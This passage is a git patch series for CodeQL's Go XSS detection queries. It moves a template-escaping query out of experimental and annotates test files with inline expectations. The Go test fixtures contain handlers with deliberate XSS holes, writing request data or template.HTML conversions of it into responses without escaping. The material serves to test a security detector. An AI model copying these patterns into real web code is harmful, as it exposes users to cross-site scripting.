From 5bce70f78c20857e47e3a3ffaf9a1d0956dc2b4c Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <owen-mc@github.com> Date: Thu, 24 Apr 2025 10:31:58 +0100 Subject: [PATCH 01/21] Move files out of experimental (no changes) --- .../CWE-079}/HTMLTemplateEscapingPassthrough.qhelp | 0 .../CWE-079}/HTMLTemplateEscapingPassthrough.ql | 0 .../CWE-079}/HTMLTemplateEscapingPassthroughBad.go | 0 .../CWE-079}/HTMLTemplateEscapingPassthroughGood.go | 0 .../Security/CWE-079}/HTMLTemplateEscapingPassthrough.expected | 0 .../Security/CWE-079}/HTMLTemplateEscapingPassthrough.go | 0 .../Security/CWE-079}/HTMLTemplateEscapingPassthrough.qlref | 0 7 files changed, 0 insertions(+), 0 deletions(-) rename go/ql/src/{experimental/CWE-79 => Security/CWE-079}/HTMLTemplateEscapingPassthrough.qhelp (100%) rename go/ql/src/{experimental/CWE-79 => Security/CWE-079}/HTMLTemplateEscapingPassthrough.ql (100%) rename go/ql/src/{experimental/CWE-79 => Security/CWE-079}/HTMLTemplateEscapingPassthroughBad.go (100%) rename go/ql/src/{experimental/CWE-79 => Security/CWE-079}/HTMLTemplateEscapingPassthroughGood.go (100%) rename go/ql/test/{experimental/CWE-79 => query-tests/Security/CWE-079}/HTMLTemplateEscapingPassthrough.expected (100%) rename go/ql/test/{experimental/CWE-79 => query-tests/Security/CWE-079}/HTMLTemplateEscapingPassthrough.go (100%) rename go/ql/test/{experimental/CWE-79 => query-tests/Security/CWE-079}/HTMLTemplateEscapingPassthrough.qlref (100%) diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.qhelp similarity index 100% rename from go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp rename to go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.qhelp diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql similarity index 100% rename from go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql rename to go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughBad.go similarity index 100% rename from go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go rename to go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughBad.go diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughGood.go similarity index 100% rename from go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go rename to go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughGood.go diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected similarity index 100% rename from go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected rename to go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go similarity index 100% rename from go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go rename to go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref similarity index 100% rename from go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref rename to go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref From 1530ac123cde7f6d433dca0609cb44eb206cd740 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <owen-mc@github.com> Date: Thu, 24 Apr 2025 11:49:44 +0100 Subject: [PATCH 02/21] Update path in qlref and update test results --- .../HTMLTemplateEscapingPassthrough.expected | 39 ++++++++++++------- .../HTMLTemplateEscapingPassthrough.qlref | 2 +- 2 files changed, 25 insertions(+), 16 deletions(-) diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected index c91fe813e9fe..8032c4eec221 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected @@ -10,32 +10,37 @@ | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was $@ to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | converted | edges | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | provenance | | -| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | provenance | | -| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | provenance | | -| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | provenance | | -| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | provenance | | -| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | provenance | | -| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | provenance | | | HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | provenance | | -| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | provenance | MaD:2 | +| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | provenance | MaD:3 | +| ReflectedXssGood.go:15:15:15:20 | selection of Form | ReflectedXssGood.go:15:15:15:36 | call to Get | provenance | Src:MaD:1 MaD:4 | +| ReflectedXssGood.go:15:15:15:36 | call to Get | ReflectedXssGood.go:20:24:20:31 | username | provenance | | +| ReflectedXssGood.go:15:15:15:36 | call to Get | ReflectedXssGood.go:21:40:21:47 | username | provenance | | models -| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | -| 2 | Summary: html/template; ; false; HTMLEscapeString; ; ; Argument[0]; ReturnValue; taint; manual | +| 1 | Source: net/http; Request; true; Form; ; ; ; remote; manual | +| 2 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | +| 3 | Summary: html/template; ; false; HTMLEscapeString; ; ; Argument[0]; ReturnValue; taint; manual | +| 4 | Summary: net/url; Values; true; Get; ; ; Argument[receiver]; ReturnValue; taint; manual | nodes | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | semmle.label | type conversion | | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | semmle.label | call to UserAgent | @@ -73,4 +78,8 @@ nodes | HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | semmle.label | call to HTMLEscapeString | | HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | semmle.label | src | | HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | semmle.label | converted | +| ReflectedXssGood.go:15:15:15:20 | selection of Form | semmle.label | selection of Form | +| ReflectedXssGood.go:15:15:15:36 | call to Get | semmle.label | call to Get | +| ReflectedXssGood.go:20:24:20:31 | username | semmle.label | username | +| ReflectedXssGood.go:21:40:21:47 | username | semmle.label | username | subpaths diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref index c425b9a445b7..acafdb5ff4c7 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref @@ -1,2 +1,2 @@ -query: experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql +query: Security/CWE-079/HTMLTemplateEscapingPassthrough.ql postprocess: utils/test/PrettyPrintModels.ql From 1926ffd450433d1e0867438b7a2e1c820e233516 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <owen-mc@github.com> Date: Thu, 24 Apr 2025 12:18:23 +0100 Subject: [PATCH 03/21] Convert XSS tests to use inline expectations --- .../HTMLTemplateEscapingPassthrough.go | 36 +++++++++---------- .../HTMLTemplateEscapingPassthrough.qlref | 4 ++- .../Security/CWE-079/ReflectedXss.go | 4 +-- .../Security/CWE-079/ReflectedXss.qlref | 4 ++- .../query-tests/Security/CWE-079/StoredXss.go | 2 +- .../Security/CWE-079/StoredXss.qlref | 4 ++- .../Security/CWE-079/contenttype.go | 24 ++++++------- .../Security/CWE-079/reflectedxsstest.go | 16 ++++----- .../query-tests/Security/CWE-079/stored.go | 8 ++--- .../test/query-tests/Security/CWE-079/tst.go | 8 ++--- .../Security/CWE-079/websocketXss.go | 24 ++++++------- 11 files changed, 70 insertions(+), 64 deletions(-) diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go index de353c861cf0..dcadac92d280 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go @@ -26,45 +26,45 @@ func bad(req *http.Request) { { { - var a = template.HTML(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, a)) + var a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-passthrough] } { { var a template.HTML - a = template.HTML(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, a)) + a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-passthrough] } { var a HTMLAlias - a = HTMLAlias(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, a)) + a = HTMLAlias(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-passthrough] } } } { - var c = template.HTMLAttr(req.UserAgent()) - checkError(tmplTag.Execute(os.Stdout, c)) + var c = template.HTMLAttr(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmplTag.Execute(os.Stdout, c)) // $ Alert[go/html-template-escaping-passthrough] } { - var d = template.JS(req.UserAgent()) - checkError(tmplScript.Execute(os.Stdout, d)) + var d = template.JS(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmplScript.Execute(os.Stdout, d)) // $ Alert[go/html-template-escaping-passthrough] } { - var e = template.JSStr(req.UserAgent()) - checkError(tmplScript.Execute(os.Stdout, e)) + var e = template.JSStr(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmplScript.Execute(os.Stdout, e)) // $ Alert[go/html-template-escaping-passthrough] } { - var b = template.CSS(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, b)) + var b = template.CSS(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmpl.Execute(os.Stdout, b)) // $ Alert[go/html-template-escaping-passthrough] } { - var f = template.Srcset(req.UserAgent()) - checkError(tmplSrcset.Execute(os.Stdout, f)) + var f = template.Srcset(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmplSrcset.Execute(os.Stdout, f)) // $ Alert[go/html-template-escaping-passthrough] } { - var g = template.URL(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, g)) + var g = template.URL(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmpl.Execute(os.Stdout, g)) // $ Alert[go/html-template-escaping-passthrough] } } diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref index acafdb5ff4c7..61712749b14c 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref @@ -1,2 +1,4 @@ query: Security/CWE-079/HTMLTemplateEscapingPassthrough.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go index 43e5e022598c..fe6f5844998c 100644 --- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go @@ -8,10 +8,10 @@ import ( func serve() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - username := r.Form.Get("username") + username := r.Form.Get("username") // $ Source[go/reflected-xss] if !isValidUsername(username) { // BAD: a request parameter is incorporated without validation into the response - fmt.Fprintf(w, "%q is an unknown user", username) + fmt.Fprintf(w, "%q is an unknown user", username) // $ Alert[go/reflected-xss] } else { // TODO: Handle successful login } diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref index 754513d72bb3..e6b791f39fca 100644 --- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref @@ -1,2 +1,4 @@ query: Security/CWE-079/ReflectedXss.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go index 008b738f4cae..30774df39248 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go @@ -10,6 +10,6 @@ func ListFiles(w http.ResponseWriter, r *http.Request) { files, _ := ioutil.ReadDir(".") for _, file := range files { - io.WriteString(w, file.Name()+"\n") + io.WriteString(w, file.Name()+"\n") // $ Alert[go/stored-xss] } } diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref b/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref index 66b7d67dd8f3..f47ad25ca9c7 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref @@ -1,2 +1,4 @@ query: Security/CWE-079/StoredXss.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-079/contenttype.go b/go/ql/test/query-tests/Security/CWE-079/contenttype.go index bb9880cc5769..2800b3eed456 100644 --- a/go/ql/test/query-tests/Security/CWE-079/contenttype.go +++ b/go/ql/test/query-tests/Security/CWE-079/contenttype.go @@ -8,13 +8,13 @@ import ( func serve2() { http.HandleFunc("/echo", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - data := r.Form.Get("data") + data := r.Form.Get("data") // $ Source[go/reflected-xss] // Not OK; direct flow from request body to output. // The response Content-Type header is derived from a call to // `http.DetectContentType`, which can be easily manipulated into returning // `text/html` for XSS. - w.Write([]byte(data)) + w.Write([]byte(data)) // $ Alert[go/reflected-xss] }) http.ListenAndServe(":80", nil) } @@ -46,11 +46,11 @@ func serve4() { func serve5() { http.HandleFunc("/echo", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - data := r.Form.Get("data") + data := r.Form.Get("data") // $ Source[go/reflected-xss] w.Header().Set("Content-Type", "text/html") - fmt.Fprintf(w, "Constant: %s", data) // Not OK; the content-type header is explicitly set to html + fmt.Fprintf(w, "Constant: %s", data) // $ Alert[go/reflected-xss] // The content-type header is explicitly set to html }) http.ListenAndServe(":80", nil) } @@ -60,8 +60,8 @@ func serve10() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") - fmt.Fprintf(w, "\t<html><body>%s</body></html>", data) // Not OK + data = r.FormValue("data") // $ Source[go/reflected-xss] + fmt.Fprintf(w, "\t<html><body>%s</body></html>", data) // $ Alert[go/reflected-xss] }) } @@ -70,13 +70,13 @@ func serve11() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") + data = r.FormValue("data") // $ Source[go/reflected-xss] fmt.Fprintf(w, ` <html> <body> %s </body> -</html>`, data) // Not OK +</html>`, data) // $ Alert[go/reflected-xss] }) } @@ -85,10 +85,10 @@ func serve12() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") + data = r.FormValue("data") // $ Source[go/reflected-xss] fmt.Fprintf(w, ` %s -`, data) // Not OK +`, data) // $ Alert[go/reflected-xss] }) } @@ -110,7 +110,7 @@ func serve14() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") - fmt.Fprintf(w, "<html><body>%s</body></html>", data) // Not OK + data = r.FormValue("data") // $ Source[go/reflected-xss] + fmt.Fprintf(w, "<html><body>%s</body></html>", data) // $ Alert[go/reflected-xss] }) } diff --git a/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go b/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go index 70bb248298de..65024f6b865c 100644 --- a/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go +++ b/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go @@ -28,29 +28,29 @@ func ErrTest(w http.ResponseWriter, r http.Request) { w.Write([]byte(fmt.Sprintf("Cookie result: %v", cookie))) // GOOD: Cookie's value is not user-controlled in reflected xss. w.Write([]byte(fmt.Sprintf("Cookie check error: %v", err))) // GOOD: Cookie's err return is harmless http.Error(w, fmt.Sprintf("Cookie result: %v", cookie), 500) // Good: only plain text is written. - file, header, err := r.FormFile("someFile") + file, header, err := r.FormFile("someFile") // $ Source[go/reflected-xss] content, err2 := ioutil.ReadAll(file) - w.Write([]byte(fmt.Sprintf("File content: %v", content))) // BAD: file content is user-controlled - w.Write([]byte(fmt.Sprintf("File name: %v", header.Filename))) // BAD: file header is user-controlled + w.Write([]byte(fmt.Sprintf("File content: %v", content))) // $ Alert[go/reflected-xss] // BAD: file content is user-controlled + w.Write([]byte(fmt.Sprintf("File name: %v", header.Filename))) // $ Alert[go/reflected-xss] // BAD: file header is user-controlled w.Write([]byte(fmt.Sprintf("FormFile error: %v", err))) // GOOD: FormFile's err return is harmless w.Write([]byte(fmt.Sprintf("FormFile error: %v", err2))) // GOOD: ReadAll's err return is harmless - reader, err := r.MultipartReader() + reader, err := r.MultipartReader() // $ Source[go/reflected-xss] part, err2 := reader.NextPart() partName := part.FileName() byteSlice := make([]byte, 100) part.Read(byteSlice) - w.Write([]byte(fmt.Sprintf("Part name: %v", partName))) // BAD: part name is user-controlled - w.Write(byteSlice) // BAD: part contents are user-controlled + w.Write([]byte(fmt.Sprintf("Part name: %v", partName))) // $ Alert[go/reflected-xss] // BAD: part name is user-controlled + w.Write(byteSlice) // $ Alert[go/reflected-xss] // BAD: part contents are user-controlled w.Write([]byte(fmt.Sprintf("MultipartReader error: %v", err))) // GOOD: MultipartReader's err return is harmless w.Write([]byte(fmt.Sprintf("MultipartReader error: %v", err2))) // GOOD: NextPart's err return is harmless } func QueryMapTest(w http.ResponseWriter, r http.Request) { - keys, ok := r.URL.Query()["data_id"] + keys, ok := r.URL.Query()["data_id"] // $ Source[go/reflected-xss] if ok && len(keys[0]) > 0 { key := keys[0] - w.Write([]byte(key)) // BAD: query string is user-controlled + w.Write([]byte(key)) // $ Alert[go/reflected-xss] // BAD: query string is user-controlled } } diff --git a/go/ql/test/query-tests/Security/CWE-079/stored.go b/go/ql/test/query-tests/Security/CWE-079/stored.go index 807ae7e1d441..d2852f631ef2 100644 --- a/go/ql/test/query-tests/Security/CWE-079/stored.go +++ b/go/ql/test/query-tests/Security/CWE-079/stored.go @@ -15,7 +15,7 @@ var q string func storedserve1() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - rows, _ := db.Query(q, 32) + rows, _ := db.Query(q, 32) // $ Source[go/stored-xss] for rows.Next() { var ( @@ -27,7 +27,7 @@ func storedserve1() { } // BAD: the stored XSS query assumes all query results are untrusted - io.WriteString(w, name) + io.WriteString(w, name) // $ Alert[go/stored-xss] } }) } @@ -56,9 +56,9 @@ func storedserve2() { func storedserve3() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { - filepath.WalkDir(".", func(path string, _ fs.DirEntry, err error) error { + filepath.WalkDir(".", func(path string, _ fs.DirEntry, err error) error { // $ Source[go/stored-xss] // BAD: filenames are considered to be untrusted - io.WriteString(w, path) + io.WriteString(w, path) // $ Alert[go/stored-xss] return nil }) }) diff --git a/go/ql/test/query-tests/Security/CWE-079/tst.go b/go/ql/test/query-tests/Security/CWE-079/tst.go index e6d4f1ed22b8..c53fe476b951 100644 --- a/go/ql/test/query-tests/Security/CWE-079/tst.go +++ b/go/ql/test/query-tests/Security/CWE-079/tst.go @@ -11,11 +11,11 @@ import ( func serve6() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - username := r.Form.Get("username") + username := r.Form.Get("username") // $ Source[go/reflected-xss] if !isValidUsername(username) { // BAD: a request parameter is incorporated without validation into the response a := []string{username, "is", "an", "unknown", "user"} - w.Write([]byte(strings.Join(a, " "))) + w.Write([]byte(strings.Join(a, " "))) // $ Alert[go/reflected-xss] } else { // TODO: do something exciting } @@ -45,12 +45,12 @@ func serve7() { func serve8() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - service := r.Form.Get("service") + service := r.Form.Get("service") // $ Source[go/reflected-xss] if service != "service1" && service != "service2" { fmt.Fprintln(w, "Service not found") } else { // OK (service is known to be either "service1" or "service2" here), but currently flagged - w.Write([]byte(service)) + w.Write([]byte(service)) // $ SPURIOUS: Alert[go/reflected-xss] } }) } diff --git a/go/ql/test/query-tests/Security/CWE-079/websocketXss.go b/go/ql/test/query-tests/Security/CWE-079/websocketXss.go index 06f15e52cd30..1313f431dd53 100644 --- a/go/ql/test/query-tests/Security/CWE-079/websocketXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/websocketXss.go @@ -27,32 +27,32 @@ func xss(w http.ResponseWriter, r *http.Request) { origin := "test" { ws, _ := websocket.Dial(uri, "", origin) - var xnet = make([]byte, 512) + var xnet = make([]byte, 512) // $ Source[go/reflected-xss] ws.Read(xnet) - fmt.Fprintf(w, "%v", xnet) + fmt.Fprintf(w, "%v", xnet) // $ Alert[go/reflected-xss] codec := &websocket.Codec{marshal, unmarshal} - xnet2 := make([]byte, 512) + xnet2 := make([]byte, 512) // $ Source[go/reflected-xss] codec.Receive(ws, xnet2) - fmt.Fprintf(w, "%v", xnet2) + fmt.Fprintf(w, "%v", xnet2) // $ Alert[go/reflected-xss] } { n, _, _ := nhooyr.Dial(context.TODO(), uri, nil) - _, nhooyr, _ := n.Read(context.TODO()) - fmt.Fprintf(w, "%v", nhooyr) + _, nhooyr, _ := n.Read(context.TODO()) // $ Source[go/reflected-xss] + fmt.Fprintf(w, "%v", nhooyr) // $ Alert[go/reflected-xss] } { dialer := gorilla.Dialer{} conn, _, _ := dialer.Dial(uri, nil) - var gorillaMsg = make([]byte, 512) + var gorillaMsg = make([]byte, 512) // $ Source[go/reflected-xss] gorilla.ReadJSON(conn, gorillaMsg) - fmt.Fprintf(w, "%v", gorillaMsg) + fmt.Fprintf(w, "%v", gorillaMsg) // $ Alert[go/reflected-xss] - gorilla2 := make([]byte, 512) + gorilla2 := make([]byte, 512) // $ Source[go/reflected-xss] conn.ReadJSON(gorilla2) - fmt.Fprintf(w, "%v", gorilla2) + fmt.Fprintf(w, "%v", gorilla2) // $ Alert[go/reflected-xss] - _, gorilla3, _ := conn.ReadMessage() - fmt.Fprintf(w, 